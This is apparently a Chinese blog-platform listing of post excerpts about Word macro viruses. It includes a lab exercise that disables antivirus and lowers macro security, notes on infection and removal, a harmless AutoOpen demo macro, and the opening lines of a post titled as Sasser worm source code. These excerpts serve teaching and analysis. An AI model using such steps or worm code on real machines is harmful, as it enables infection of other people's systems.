计算机宏病毒是指病毒隐藏在文档的宏程序中,计算机宏病毒及清除实验解读.doc...
weixin_28812205的博客
07-16 1146
计算机宏病毒分析及清除实验一、实验目的了解“宏病毒”机理；掌握清除宏病毒的方法；掌握采用“宏”和脚本语言进行编程的技术。二、实验时数：2小时三四、实验要求宏的编写；理解宏病毒的作用机制。五、实验步骤：1．软件设置关闭杀毒软件；打开Word字处理软件，在工具“宏”的“安全性”中，将“安全级”设置为低，在“可靠发行商”选项卡中，选择信任任何所有安装的加载项和模板，选择“信任visual basic项目...
感染型宏病毒原理
yellow的博客
07-11 1117
宏病毒感染原理
记一次宏病毒分析
Boom！脑洞大爆炸的博客
06-18 739
记一次宏病毒分析
脚本/宏病毒
flowerxxxxx的博客
06-30 719
一旦发现计算机Office软件打开后弹出系统警告框，并且无法“另存为”，就表示该文件已感染宏病毒，此时不能再打开其他文件，否则病毒也会感染，应马上关闭删除该文件。（3）用Win Hex分别打开notepad.exe和notepad_upx.exe文件（2分），再比较PE头部分，用语言描述有什么不同。在“受信任位置”中，删除“可靠来源”列表框中的不安全来源，根据实际情况设置是否信任所有安装的加载项和模板，设置宏的安全性；（3）描述清除病毒及加固的方法；（注：直接答在该题下面）（5分）
震荡波病毒源代码
goingup的专栏
03-20 2089
#include #include #include #include #include #define NORM "/033[00;00m" #define GREEN "/033[01;32m" #define YELL "/033[01;33m" #define RED "/033[01;31m" #define BANNER GREEN "[%%] " YELL "mandrag
宏病毒实验
W_seventeen的博客
03-25 5716
简单的宏病毒 打开word文档，打开一个word 文档，然后按Alt+F11 调用宏编写窗口（或从工具->宏->Visual Basic->宏编辑器），定义宏名为一个自动宏。单击“创建”按钮，进入VB编辑状态，输入内容如下： Sub AutoOpen() ’ 'AutoOpen Macro Selection.TypeText Text:=“非常简单的宏病毒实例” End S...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值